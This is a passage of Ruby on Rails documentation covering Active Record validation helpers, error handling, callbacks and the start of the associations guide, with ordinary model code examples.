To check which validations failed on an invalid attribute, you can use errors.details[:attribute]. It returns an array of hashes with an :error key to get the symbol of the validator:

class Person < ApplicationRecord
validates :name, presence: true
end

>> person = Person.new
>> person.valid?
>> person.errors.details[:name] # => [{error: :blank}]

Using details with custom validators is covered in the Working with Validation Errors section.

2 Validation Helpers

Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's errors collection, and this message is associated with the attribute being validated.

Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.

All of them accept the :on and :message options, which define when the validation should be run and what message should be added to the errors collection if it fails, respectively. The :on option takes one of the values :create or :update. There is a default error message for each one of the validation helpers. These messages are used when the :message option isn't specified. Let's take a look at each one of the available helpers.

2.1 acceptance

This method validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm that some text is read, or any similar concept.

class Person < ApplicationRecord
validates :terms_of_service, acceptance: true
end

This check is performed only if terms_of_service is not nil. The default error message for this helper is "must be accepted". You can also pass custom message via the message option.

class Person < ApplicationRecord
validates :terms_of_service, acceptance: true, message: 'must be abided'
end

It can also receive an :accept option, which determines the allowed values that will be considered as accepted. It defaults to ['1', true] and can be easily changed.

class Person < ApplicationRecord
validates :terms_of_service, acceptance: { accept: 'yes' }
validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
end

This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database. If you don't have a field for it, the helper will just create a virtual attribute. If the field does exist in your database, the accept option must be set to or include true or else the validation will not run.

2.2 validates_associated

You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, valid? will be called upon each one of the associated objects.

class Library < ApplicationRecord
has_many :books
validates_associated :books
end

This validation will work with all of the association types.

Don't use validates_associated on both ends of your associations. They would call each other in an infinite loop.

The default error message for validates_associated is "is invalid". Note that each associated object will contain its own errors collection; errors do not bubble up to the calling model.

2.3 confirmation

You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.

class Person < ApplicationRecord
validates :email, confirmation: true
end

In your view template you could use something like

<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>

This check is performed only if email_confirmation is not nil. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at presence later on in this guide):

class Person < ApplicationRecord
validates :email, confirmation: true
validates :email_confirmation, presence: true
end

There is also a :case_sensitive option that you can use to define whether the confirmation constraint will be case sensitive or not. This option defaults to true.

class Person < ApplicationRecord
validates :email, confirmation: { case_sensitive: false }
end

The default error message for this helper is "doesn't match confirmation".

2.4 exclusion

This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.

class Account < ApplicationRecord
validates :subdomain, exclusion: { in: %w(www us ca jp),
message: "%{value} is reserved." }
end

The exclusion helper has an option :in that receives the set of values that will not be accepted for the validated attributes. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. This example uses the :message option to show how you can include the attribute's value.

The default error message is "is reserved".

2.5 format

This helper validates the attributes' values by testing whether they match a given regular expression, which is specified using the :with option.

class Product < ApplicationRecord
validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
message: "only allows letters" }
end

Alternatively, you can require that the specified attribute does not match the regular expression by using the :without option.

The default error message is "is invalid".

2.6 inclusion

This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.

class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }
end

The inclusion helper has an option :in that receives the set of values that will be accepted. The :in option has an alias called :within that you can use for the same purpose, if you'd like to. The previous example uses the :message option to show how you can include the attribute's value.

The default error message for this helper is "is not included in the list".

2.7 length

This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:

class Person < ApplicationRecord
validates :name, length: { minimum: 2 }
validates :bio, length: { maximum: 500 }
validates :password, length: { in: 6..20 }
validates :registration_number, length: { is: 6 }
end

The possible length constraint options are:

- :minimum - The attribute cannot have less than the specified length.

- :maximum - The attribute cannot have more than the specified length.

- :in (or :within) - The attribute length must be included in a given interval. The value for this option must be a range.

- :is - The attribute length must be equal to the given value.

The default error messages depend on the type of length validation being performed. You can personalize these messages using the :wrong_length, :too_long, and :too_short options and %{count} as a placeholder for the number corresponding to the length constraint being used. You can still use the :message option to specify an error message.

class Person < ApplicationRecord
validates :bio, length: { maximum: 1000,
too_long: "%{count} characters is the maximum allowed" }
end

Note that the default error messages are plural (e.g., "is too short (minimum is %{count} characters)"). For this reason, when :minimum is 1 you should provide a personalized message or use presence: true instead. When :in or :within have a lower limit of 1, you should either provide a personalized message or call presence prior to length.

2.8 numericality

This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set :only_integer to true.

If you set :only_integer to true, then it will use the

/\A[+-]?\d+\z/

regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using Float.

Note that the regular expression above allows a trailing newline character.

class Player < ApplicationRecord
validates :points, numericality: true
validates :games_played, numericality: { only_integer: true }
end

Besides :only_integer, this helper also accepts the following options to add constraints to acceptable values:

- :greater_than - Specifies the value must be greater than the supplied value. The default error message for this option is "must be greater than %{count}".

- :greater_than_or_equal_to - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "must be greater than or equal to %{count}".

- :equal_to - Specifies the value must be equal to the supplied value. The default error message for this option is "must be equal to %{count}".

- :less_than - Specifies the value must be less than the supplied value. The default error message for this option is "must be less than %{count}".

- :less_than_or_equal_to - Specifies the value must be less than or equal to the supplied value. The default error message for this option is "must be less than or equal to %{count}".

- :other_than - Specifies the value must be other than the supplied value. The default error message for this option is "must be other than %{count}".

- :odd - Specifies the value must be an odd number if set to true. The default error message for this option is "must be odd".

- :even - Specifies the value must be an even number if set to true. The default error message for this option is "must be even".

By default, numericality doesn't allow nil values. You can use allow_nil: true option to permit it.

The default error message is "is not a number".

2.9 presence

This helper validates that the specified attributes are not empty. It uses the blank? method to check if the value is either nil or a blank string, that is, a string that is either empty or consists of whitespace.

class Person < ApplicationRecord
validates :name, :login, :email, presence: true
end

If you want to be sure that an association is present, you'll need to test whether the associated object itself is present, and not the foreign key used to map the association.

class LineItem < ApplicationRecord
belongs_to :order
validates :order, presence: true
end

In order to validate associated records whose presence is required, you must specify the :inverse_of option for the association:

class Order < ApplicationRecord
has_many :line_items, inverse_of: :order
end

If you validate the presence of an object associated via a has_one or has_many relationship, it will check that the object is neither blank? nor marked_for_destruction?.

Since false.blank? is true, if you want to validate the presence of a boolean field you should use one of the following validations:

validates :boolean_field_name, inclusion: { in: [true, false] }
validates :boolean_field_name, exclusion: { in: [nil] }

By using one of these validations, you will ensure the value will NOT be nil which would result in a NULL value in most cases.

2.10 absence

This helper validates that the specified attributes are absent. It uses the present? method to check if the value is not either nil or a blank string, that is, a string that is either empty or consists of whitespace.

class Person < ApplicationRecord
validates :name, :login, :email, absence: true
end

If you want to be sure that an association is absent, you'll need to test whether the associated object itself is absent, and not the foreign key used to map the association.

class LineItem < ApplicationRecord
belongs_to :order
validates :order, absence: true
end

In order to validate associated records whose absence is required, you must specify the :inverse_of option for the association:

class Order < ApplicationRecord
has_many :line_items, inverse_of: :order
end

If you validate the absence of an object associated via a has_one or has_many relationship, it will check that the object is neither present? nor marked_for_destruction?.

Since false.present? is false, if you want to validate the absence of a boolean field you should use validates :field_name, exclusion: { in: [true, false] }.

The default error message is "must be blank".

2.11 uniqueness

This helper validates that the attribute's value is unique right before the object gets saved. It does not create a uniqueness constraint in the database, so it may happen that two different database connections create two records with the same value for a column that you intend to be unique. To avoid that, you must create a unique index on that column in your database.

class Account < ApplicationRecord
validates :email, uniqueness: true
end

The validation happens by performing an SQL query into the model's table, searching for an existing record with the same value in that attribute.

There is a :scope option that you can use to specify one or more attributes that are used to limit the uniqueness check:

class Holiday < ApplicationRecord
validates :name, uniqueness: { scope: :year,
message: "should happen once per year" }
end

Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the :scope option, you must create a unique index on both columns in your database. See the MySQL manual for more details about multiple column indexes or the PostgreSQL manual for examples of unique constraints that refer to a group of columns.

There is also a :case_sensitive option that you can use to define whether the uniqueness constraint will be case sensitive or not. This option defaults to true.

class Person < ApplicationRecord
validates :name, uniqueness: { case_sensitive: false }
end

Note that some databases are configured to perform case-insensitive searches anyway.

The default error message is "has already been taken".

2.12 validates_with

This helper passes the record to a separate class for validation.

class GoodnessValidator < ActiveModel::Validator
def validate(record)
if record.first_name == "Evil"
record.errors[:base] << "This person is evil"
end
end
end

class Person < ApplicationRecord
validates_with GoodnessValidator
end

Errors added to record.errors[:base] relate to the state of the record as a whole, and not to a specific attribute.

The validates_with helper takes a class, or a list of classes to use for validation. There is no default error message for validates_with. You must manually add errors to the record's errors collection in the validator class.

To implement the validate method, you must have a record parameter defined, which is the record to be validated.

Like all other validations, validates_with takes the :if, :unless and :on options. If you pass any other options, it will send those options to the validator class as options:

class GoodnessValidator < ActiveModel::Validator
def validate(record)
if options[:fields].any?{|field| record.send(field) == "Evil" }
record.errors[:base] << "This person is evil"
end
end
end

class Person < ApplicationRecord
validates_with GoodnessValidator, fields: [:first_name, :last_name]
end

Note that the validator will be initialized only once for the whole application life cycle, and not on each validation run, so be careful about using instance variables inside it.

If your validator is complex enough that you want instance variables, you can easily use a plain old Ruby object instead:

class Person < ApplicationRecord
validate do |person|
GoodnessValidator.new(person).validate
end
end

class GoodnessValidator
def initialize(person)
@person = person
end

def validate
if some_complex_condition_involving_ivars_and_private_methods?
@person.errors[:base] << "This person is evil"
end
end

# ...
end

2.13 validates_each

This helper validates attributes against a block. It doesn't have a predefined validation function. You should create one using a block, and every attribute passed to validates_each will be tested against it. In the following example, we don't want names and surnames to begin with lower case.

class Person < ApplicationRecord
validates_each :name, :surname do |record, attr, value|
record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/
end
end

The block receives the record, the attribute's name and the attribute's value. You can do anything you like to check for valid data within the block. If your validation fails, you should add an error message to the model, therefore making it invalid.

3 Common Validation Options

These are common validation options:

3.1 :allow_nil

The :allow_nil option skips the validation when the value being validated is nil.

class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }, allow_nil: true
end

3.2 :allow_blank

The :allow_blank option is similar to the :allow_nil option. This option will let validation pass if the attribute's value is blank?, like nil or an empty string for example.

class Topic < ApplicationRecord
validates :title, length: { is: 5 }, allow_blank: true
end

Topic.create(title: "").valid?  # => true
Topic.create(title: nil).valid? # => true

3.3 :message

As you've already seen, the :message option lets you specify the message that will be added to the errors collection when validation fails. When this option is not used, Active Record will use the respective default error message for each validation helper. The :message option accepts a String or Proc.

A String :message value can optionally contain any/all of %{value}, %{attribute}, and %{model} which will be dynamically replaced when validation fails.

A Proc :message value is given two arguments: the object being validated, and a hash with :model, :attribute, and :value key-value pairs.

class Person < ApplicationRecord
# Hard-coded message
validates :name, presence: { message: "must be given please" }

# Message with dynamic attribute value. %{value} will be replaced with
# the actual value of the attribute. %{attribute} and %{model} also
# available.
validates :age, numericality: { message: "%{value} seems wrong" }

# Proc
validates :username,
uniqueness: {
# object = person object being validated
# data = { model: "Person", attribute: "Username", value: <username> }
message: ->(object, data) do
"Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}"
end
}
end

3.4 :on

The :on option lets you specify when the validation should happen. The default behavior for all the built-in validation helpers is to be run on save (both when you're creating a new record and when you're updating it). If you want to change it, you can use on: :create to run the validation only when a new record is created or on: :update to run the validation only when a record is updated.

class Person < ApplicationRecord
# it will be possible to update email with a duplicated value
validates :email, uniqueness: true, on: :create

# it will be possible to create the record with a non-numerical age
validates :age, numericality: true, on: :update

# the default (validates on both create and update)
validates :name, presence: true
end

You can also use on: to define custom context. Custom contexts need to be triggered explicitly by passing name of the context to valid?, invalid? or save.

class Person < ApplicationRecord
validates :email, uniqueness: true, on: :account_setup
validates :age, numericality: true, on: :account_setup
end

person = Person.new

person.valid?(:account_setup) executes both the validations without saving the model. And person.save(context: :account_setup) validates person in account_setup context before saving. On explicit triggers, model is validated by validations of only that context and validations without context.

4 Strict Validations

You can also specify validations to be strict and raise ActiveModel::StrictValidationFailed when the object is invalid.

class Person < ApplicationRecord
validates :name, presence: { strict: true }
end

Person.new.valid?  # => ActiveModel::StrictValidationFailed: Name can't be blank

There is also the ability to pass a custom exception to the :strict option.

class Person < ApplicationRecord
validates :token, presence: true, uniqueness: true, strict: TokenGenerationException
end

Person.new.valid?  # => TokenGenerationException: Token can't be blank

5 Conditional Validation

Sometimes it will make sense to validate an object only when a given predicate is satisfied. You can do that by using the :if and :unless options, which can take a symbol, a string, a Proc or an Array. You may use the :if option when you want to specify when the validation should happen. If you want to specify when the validation should not happen, then you may use the :unless option.

5.1 Using a Symbol with :if and :unless

You can associate the :if and :unless options with a symbol corresponding to the name of a method that will get called right before validation happens. This is the most commonly used option.

class Order < ApplicationRecord
validates :card_number, presence: true, if: :paid_with_card?

def paid_with_card?
payment_type == "card"
end
end

5.2 Using a String with :if and :unless

You can also use a string that will be evaluated using eval and needs to contain valid Ruby code. You should use this option only when the string represents a really short condition.

class Person < ApplicationRecord
validates :surname, presence: true, if: "name.nil?"
end

5.3 Using a Proc with :if and :unless

Finally, it's possible to associate :if and :unless with a Proc object which will be called. Using a Proc object gives you the ability to write an inline condition instead of a separate method. This option is best suited for one-liners.

class Account < ApplicationRecord
validates :password, confirmation: true,
unless: Proc.new { |a| a.password.blank? }
end

5.4 Grouping Conditional validations

Sometimes it is useful to have multiple validations use one condition. It can be easily achieved using with_options.

class User < ApplicationRecord
with_options if: :is_admin? do |admin|
admin.validates :password, length: { minimum: 10 }
admin.validates :email, presence: true
end
end

All validations inside of the with_options block will have automatically passed the condition if: :is_admin?

5.5 Combining Validation Conditions

On the other hand, when multiple conditions define whether or not a validation should happen, an Array can be used. Moreover, you can apply both :if and :unless to the same validation.

class Computer < ApplicationRecord
validates :mouse, presence: true,
if: ["market.retail?", :desktop?],
unless: Proc.new { |c| c.trackpad.present? }
end

The validation only runs when all the :if conditions and none of the :unless conditions are evaluated to true.

6 Performing Custom Validations

When the built-in validation helpers are not enough for your needs, you can write your own validators or validation methods as you prefer.

6.1 Custom Validators

Custom validators are classes that inherit from ActiveModel::Validator. These classes must implement the validate method which takes a record as an argument and performs the validation on it. The custom validator is called using the validates_with method.

class MyValidator < ActiveModel::Validator
def validate(record)
unless record.name.starts_with? 'X'
record.errors[:name] << 'Need a name starting with X please!'
end
end
end

class Person
include ActiveModel::Validations
validates_with MyValidator
end

The easiest way to add custom validators for validating individual attributes is with the convenient ActiveModel::EachValidator. In this case, the custom validator class must implement a validate_each method which takes three arguments: record, attribute, and value. These correspond to the instance, the attribute to be validated, and the value of the attribute in the passed instance.

class EmailValidator < ActiveModel::EachValidator
def validate_each(record, attribute, value)
unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i
record.errors[attribute] << (options[:message] || "is not an email")
end
end
end

class Person < ApplicationRecord
validates :email, presence: true, email: true
end

As shown in the example, you can also combine standard validations with your own custom validators.

6.2 Custom Methods

You can also create methods that verify the state of your models and add messages to the errors collection when they are invalid. You must then register these methods by using the validate (API) class method, passing in the symbols for the validation methods' names.

You can pass more than one symbol for each class method and the respective validations will be run in the same order as they were registered.

The valid? method will verify that the errors collection is empty, so your custom validation methods should add errors to it when you wish validation to fail:

class Invoice < ApplicationRecord
validate :expiration_date_cannot_be_in_the_past,
:discount_cannot_be_greater_than_total_value

def expiration_date_cannot_be_in_the_past
if expiration_date.present? && expiration_date < Date.today
errors.add(:expiration_date, "can't be in the past")
end
end

def discount_cannot_be_greater_than_total_value
if discount > total_value
errors.add(:discount, "can't be greater than total value")
end
end
end

By default, such validations will run every time you call valid? or save the object. But it is also possible to control when to run these custom validations by giving an :on option to the validate method, with either: :create or :update.

class Invoice < ApplicationRecord
validate :active_customer, on: :create

def active_customer
errors.add(:customer_id, "is not active") unless customer.active?
end
end

7 Working with Validation Errors

In addition to the valid? and invalid? methods covered earlier, Rails provides a number of methods for working with the errors collection and inquiring about the validity of objects.

The following is a list of the most commonly used methods. Please refer to the ActiveModel::Errors documentation for a list of all the available methods.

7.1 errors

Returns an instance of the class ActiveModel::Errors containing all errors. Each key is the attribute name and the value is an array of strings with all errors.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

person = Person.new
person.valid? # => false
person.errors.messages
# => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]}

person = Person.new(name: "John Doe")
person.valid? # => true
person.errors.messages # => {}

7.2 errors[]

errors[] is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

person = Person.new(name: "John Doe")
person.valid? # => true
person.errors[:name] # => []

person = Person.new(name: "JD")
person.valid? # => false
person.errors[:name] # => ["is too short (minimum is 3 characters)"]

person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]

7.3 errors.add

The add method lets you add an error message related to a particular attribute. It takes as arguments the attribute and the error message.

The errors.full_messages method (or its equivalent, errors.to_a) returns the error messages in a user-friendly format, with the capitalized attribute name prepended to each message, as shown in the examples below.

class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors.add(:name, "cannot contain the characters !@#%*()_-+=")
end
end

person = Person.create(name: "!@#")

person.errors[:name]
# => ["cannot contain the characters !@#%*()_-+="]

person.errors.full_messages
# => ["Name cannot contain the characters !@#%*()_-+="]

An equivalent to errors#add is to use << to append a message to the errors.messages array for an attribute:

class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors.messages[:name] << "cannot contain the characters !@#%*()_-+="
end
end

person = Person.create(name: "!@#")

person.errors[:name]
# => ["cannot contain the characters !@#%*()_-+="]

person.errors.to_a
# => ["Name cannot contain the characters !@#%*()_-+="]

7.4 errors.details

You can specify a validator type to the returned error details hash using the errors.add method.

class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors.add(:name, :invalid_characters)
end
end

person = Person.create(name: "!@#")

person.errors.details[:name]
# => [{error: :invalid_characters}]

To improve the error details to contain the unallowed characters set for instance, you can pass additional keys to errors.add.

class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=")
end
end

person = Person.create(name: "!@#")

person.errors.details[:name]
# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]

All built in Rails validators populate the details hash with the corresponding validator type.

7.5 errors[:base]

You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since errors[:base] is an array, you can simply add a string to it and it will be used as an error message.

class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors[:base] << "This person is invalid because ..."
end
end

7.6 errors.clear

The clear method is used when you intentionally want to clear all the messages in the errors collection. Of course, calling errors.clear upon an invalid object won't actually make it valid: the errors collection will now be empty, but the next time you call valid? or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the errors collection will be filled again.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]

person.errors.clear
person.errors.empty? # => true

person.save # => false

person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"]

7.7 errors.size

The size method returns the total number of error messages for the object.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

person = Person.new
person.valid? # => false
person.errors.size # => 2

person = Person.new(name: "Andrea", email: "andrea@example.com")
person.valid? # => true
person.errors.size # => 0

8 Displaying Validation Errors in Views

Once you've created a model and added validations, if that model is created via a web form, you probably want to display an error message when one of the validations fail.

Because every application handles this kind of thing differently, Rails does not include any view helpers to help you generate these messages directly. However, due to the rich number of methods Rails gives you to interact with validations in general, it's fairly easy to build your own. In addition, when generating a scaffold, Rails will put some ERB into the _form.html.erb that it generates that displays the full list of errors on that model.

Assuming we have a model that's been saved in an instance variable named @article, it looks like this:

<% if @article.errors.any? %>
<div id="error_explanation">
<h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2>

<ul>
<% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
</div>
<% end %>

Furthermore, if you use the Rails form helpers to generate your forms, when a validation error occurs on a field, it will generate an extra <div> around the entry.

<div class="field_with_errors">
<input id="article_title" name="article[title]" size="30" type="text" value="">
</div>

You can then style this div however you'd like. The default scaffold that Rails generates, for example, adds this CSS rule:

.field_with_errors {
padding: 2px;
background-color: red;
display: table;
}

This means that any field with an error ends up with a 2 pixel red border.

Active Record Callbacks — Ruby on...

1 The Object Life Cycle

During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this object life cycle so that you can control your application and its data.

Callbacks allow you to trigger logic before or after an alteration of an object's state.

2 Callbacks Overview

Callbacks are methods that get called at certain moments of an object's life cycle. With callbacks it is possible to write code that will run whenever an Active Record object is created, saved, updated, deleted, validated, or loaded from the database.

2.1 Callback Registration

In order to use the available callbacks, you need to register them. You can implement the callbacks as ordinary methods and use a macro-style class method to register them as callbacks:

class User < ApplicationRecord
validates :login, :email, presence: true

before_validation :ensure_login_has_a_value

protected
def ensure_login_has_a_value
if login.nil?
self.login = email unless email.blank?
end
end
end

The macro-style class methods can also receive a block. Consider using this style if the code inside your block is so short that it fits in a single line:

class User < ApplicationRecord
validates :login, :email, presence: true

before_create do
self.name = login.capitalize if name.blank?
end
end

Callbacks can also be registered to only fire on certain life cycle events:

class User < ApplicationRecord
before_validation :normalize_name, on: :create

# :on takes an array as well
after_validation :set_location, on: [ :create, :update ]

protected
def normalize_name
self.name = name.downcase.titleize
end

def set_location
self.location = LocationService.query(self)
end
end

It is considered good practice to declare callback methods as protected or private. If left public, they can be called from outside of the model and violate the principle of object encapsulation.

3 Available Callbacks

Here is a list with all the available Active Record callbacks, listed in the same order in which they will get called during the respective operations:

3.1 Creating an Object

- before_validation

- after_validation

- before_save

- around_save

- before_create

- around_create

- after_create

- after_save

- after_commit/after_rollback

3.2 Updating an Object

- before_validation

- after_validation

- before_save

- around_save

- before_update

- around_update

- after_update

- after_save

- after_commit/after_rollback

3.3 Destroying an Object

- before_destroy

- around_destroy

- after_destroy

- after_commit/after_rollback

after_save runs both on create and update, but always after the more specific callbacks after_create and after_update, no matter the order in which the macro calls were executed.

3.4 after_initialize and after_find

The after_initialize callback will be called whenever an Active Record object is instantiated, either by directly using new or when a record is loaded from the database. It can be useful to avoid the need to directly override your Active Record initialize method.

The after_find callback will be called whenever Active Record loads a record from the database. after_find is called before after_initialize if both are defined.

The after_initialize and after_find callbacks have no before_* counterparts, but they can be registered just like the other Active Record callbacks.

class User < ApplicationRecord
after_initialize do |user|
puts "You have initialized an object!"
end

after_find do |user|
puts "You have found an object!"
end
end

>> User.new
You have initialized an object!
=> #<User id: nil>

>> User.first
You have found an object!
You have initialized an object!
=> #<User id: 1>

3.5 after_touch

The after_touch callback will be called whenever an Active Record object is touched.

class User < ApplicationRecord
after_touch do |user|
puts "You have touched an object"
end
end

>> u = User.create(name: 'Kuldeep')
=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">

>> u.touch
You have touched an object
=> true

It can be used along with belongs_to:

class Employee < ApplicationRecord
belongs_to :company, touch: true
after_touch do
puts 'An Employee was touched'
end
end

class Company < ApplicationRecord
has_many :employees
after_touch :log_when_employees_or_company_touched

private
def log_when_employees_or_company_touched
puts 'Employee/Company was touched'
end
end

>> @employee = Employee.last
=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">

# triggers @employee.company.touch
>> @employee.touch
Employee/Company was touched
An Employee was touched
=> true

4 Running Callbacks

The following methods trigger callbacks:

- create

- create!

- decrement!

- destroy

- destroy!

- destroy_all

- increment!

- save

- save!

- save(validate: false)

- toggle!

- update_attribute

- update

- update!

- valid?

Additionally, the after_find callback is triggered by the following finder methods:

- all

- first

- find

- find_by

- find_by_*

- find_by_*!

- find_by_sql

- last

The after_initialize callback is triggered every time a new object of the class is initialized.

The find_by_* and find_by_*! methods are dynamic finders generated automatically for every attribute. Learn more about them at the Dynamic finders section

5 Skipping Callbacks

Just as with validations, it is also possible to skip callbacks by using the following methods:

- decrement

- decrement_counter

- delete

- delete_all

- increment

- increment_counter

- toggle

- touch

- update_column

- update_columns

- update_all

- update_counters

These methods should be used with caution, however, because important business rules and application logic may be kept in callbacks. Bypassing them without understanding the potential implications may lead to invalid data.

6 Halting Execution

As you start registering new callbacks for your models, they will be queued for execution. This queue will include all your model's validations, the registered callbacks, and the database operation to be executed.

The whole callback chain is wrapped in a transaction. If any before callback method returns exactly false or raises an exception, the execution chain gets halted and a ROLLBACK is issued; after callbacks can only accomplish that by raising an exception.

Any exception that is not ActiveRecord::Rollback or ActiveRecord::RecordInvalid will be re-raised by Rails after the callback chain is halted. Raising an exception other than ActiveRecord::Rollback or ActiveRecord::RecordInvalid may break code that does not expect methods like save and update_attributes (which normally try to return true or false) to raise an exception.

7 Relational Callbacks

Callbacks work through model relationships, and can even be defined by them. Suppose an example where a user has many articles. A user's articles should be destroyed if the user is destroyed. Let's add an after_destroy callback to the User model by way of its relationship to the Article model:

class User < ApplicationRecord
has_many :articles, dependent: :destroy
end

class Article < ApplicationRecord
after_destroy :log_destroy_action

def log_destroy_action
puts 'Article destroyed'
end
end

>> user = User.first
=> #<User id: 1>
>> user.articles.create!
=> #<Article id: 1, user_id: 1>
>> user.destroy
Article destroyed
=> #<User id: 1>

8 Conditional Callbacks

As with validations, we can also make the calling of a callback method conditional on the satisfaction of a given predicate. We can do this using the :if and :unless options, which can take a symbol, a string, a Proc or an Array. You may use the :if option when you want to specify under which conditions the callback should be called. If you want to specify the conditions under which the callback should not be called, then you may use the :unless option.

8.1 Using :if and :unless with a Symbol

You can associate the :if and :unless options with a symbol corresponding to the name of a predicate method that will get called right before the callback. When using the :if option, the callback won't be executed if the predicate method returns false; when using the :unless option, the callback won't be executed if the predicate method returns true. This is the most common option. Using this form of registration it is also possible to register several different predicates that should be called to check if the callback should be executed.

class Order < ApplicationRecord
before_save :normalize_card_number, if: :paid_with_card?
end

8.2 Using :if and :unless with a String

You can also use a string that will be evaluated using eval and hence needs to contain valid Ruby code. You should use this option only when the string represents a really short condition:

class Order < ApplicationRecord
before_save :normalize_card_number, if: "paid_with_card?"
end

8.3 Using :if and :unless with a Proc

Finally, it is possible to associate :if and :unless with a Proc object. This option is best suited when writing short validation methods, usually one-liners:

class Order < ApplicationRecord
before_save :normalize_card_number,
if: Proc.new { |order| order.paid_with_card? }
end

8.4 Multiple Conditions for Callbacks

When writing conditional callbacks, it is possible to mix both :if and :unless in the same callback declaration:

class Comment < ApplicationRecord
after_create :send_email_to_author, if: :author_wants_emails?,
unless: Proc.new { |comment| comment.article.ignore_comments? }
end

9 Callback Classes

Sometimes the callback methods that you'll write will be useful enough to be reused by other models. Active Record makes it possible to create classes that encapsulate the callback methods, so it becomes very easy to reuse them.

Here's an example where we create a class with an after_destroy callback for a PictureFile model:

class PictureFileCallbacks
def after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
end

When declared inside a class, as above, the callback methods will receive the model object as a parameter. We can now use the callback class in the model:

class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks.new
end

Note that we needed to instantiate a new PictureFileCallbacks object, since we declared our callback as an instance method. This is particularly useful if the callbacks make use of the state of the instantiated object. Often, however, it will make more sense to declare the callbacks as class methods:

class PictureFileCallbacks
def self.after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
end

If the callback method is declared this way, it won't be necessary to instantiate a PictureFileCallbacks object.

class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks
end

You can declare as many callbacks as you want inside your callback classes.

10 Transaction Callbacks

There are two additional callbacks that are triggered by the completion of a database transaction: after_commit and after_rollback. These callbacks are very similar to the after_save callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction.

Consider, for example, the previous example where the PictureFile model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the after_destroy callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that picture_file_2 in the code below is not valid and the save! method raises an error.

PictureFile.transaction do
picture_file_1.destroy
picture_file_2.save!
end

By using the after_commit callback we can account for this case.

class PictureFile < ApplicationRecord
after_commit :delete_picture_file_from_disk, on: [:destroy]

def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end

the :on option specifies when a callback will be fired. If you don't supply the :on option the callback will fire for every action.

Since using after_commit callback only on create, update or delete is common, there are aliases for those operations:

- after_create_commit

- after_update_commit

- after_destroy_commit

class PictureFile < ApplicationRecord
after_destroy_commit :delete_picture_file_from_disk

def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end

The after_commit and after_rollback callbacks are guaranteed to be called for all models created, updated, or destroyed within a transaction block. If any exceptions are raised within one of these callbacks, they will be ignored so that they don't interfere with the other callbacks. As such, if your callback code could raise an exception, you'll need to rescue it and handle it appropriately within the callback.

Active Record Associations — Ruby on...

1 Why Associations?

In Rails, an association is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this:

